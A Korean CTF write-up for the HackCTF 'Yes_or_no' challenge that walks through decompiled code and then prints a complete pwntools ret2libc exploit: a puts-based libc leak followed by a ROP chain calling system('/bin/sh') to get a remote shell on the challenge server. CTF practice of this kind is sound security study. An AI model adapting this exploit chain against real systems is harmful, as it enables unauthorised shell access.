ii4gsp

HackCTF - Yes_or_no 본문

시스템 해킹/HackCTF

HackCTF - Yes_or_no

ii4gsp 2020. 2. 10. 18:26

파일을 다운받아 주자.

 

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

IDA로 바이너리를 열어보면 변수 fgets()함수로 입력받은 값을통해 v10에 저장하고 프로그램을 분기한다.

 

 

 

 

if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }

v10의 값이 v6 * v5 << (++v11 % 20 + 5) 이라면 gets()함수를 실행시킬수있다.

 

 

 

 

gdb로 열어보면 rbp-0x8의 값과 eax 레지스터 값을 비교한다.

main+237 부분에 breakpoint를 걸어주고 64bit 바이너리이므로 rax 값을 보면 된다.

 

 

 

 

RAX = 0x960000 이다.

 

 

 

 

즉, 9,830,400 값을 넣어주면 gets() 함수를 실행시킬수있다.

 

 

 

 

ROPgadget --binary yes_or_no 명령을 통해 pop_rdi, ret gadget을 찾을 수 있다.

 

 

 

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3009)
e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')

pop_rdi = 0x0000000000400883
ret = 0x000000000040056e

r.sendlineafter('Show me your number~!', '9830400')
r.recvuntil("That's cool. Follow me\n")

payload = ''
payload += '\x90' * 26
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])

r.sendline(payload)

leak = u64(r.recv(6) + '\x00\x00')
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))

r.sendlineafter('Show me your number~!', '9830400')
r.recvuntil("That's cool. Follow me\n")

payload = ''
payload += '\x90' * 26
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

r.sendline(payload)

r.interactive()

간단한 ROP를 통해서 puts() 함수로 주소를 leak 후 system과 binsh를 구해주면 된다.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - g++ pwn  (0) 2020.02.16
HackCTF - RTL_World  (0) 2020.02.15
HackCTF - BOF_PIE  (0) 2020.02.09
HackCTF - Offset  (0) 2020.02.09
HackCTF - Simple_Overflow_ver_2  (0) 2020.02.09
Comments